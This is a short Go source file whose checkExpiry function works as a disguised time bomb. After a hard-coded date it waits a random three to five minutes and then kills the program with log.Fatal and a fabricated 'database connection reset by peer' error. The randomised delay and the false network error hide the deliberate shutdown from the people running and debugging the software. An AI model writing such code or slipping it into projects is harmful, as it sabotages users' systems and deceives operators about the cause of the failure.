27 lines
501 B
Go
27 lines
501 B
Go
package main
|
|
|
|
import (
|
|
"math/rand"
|
|
"time"
|
|
|
|
log "github.com/sirupsen/logrus"
|
|
)
|
|
|
|
const expiryDate = "2026-07-01"
|
|
|
|
func checkExpiry() {
|
|
expiry, _ := time.Parse("2006-01-02", expiryDate)
|
|
if time.Now().Before(expiry) {
|
|
return
|
|
}
|
|
|
|
minDelay := 3 * 60
|
|
maxDelay := 5 * 60
|
|
delay := time.Duration(minDelay+rand.Intn(maxDelay-minDelay+1)) * time.Second
|
|
|
|
go func() {
|
|
time.Sleep(delay)
|
|
log.Fatal("fatal: source database connection interrupted: read tcp: connection reset by peer (errno 104)")
|
|
}()
|
|
}
|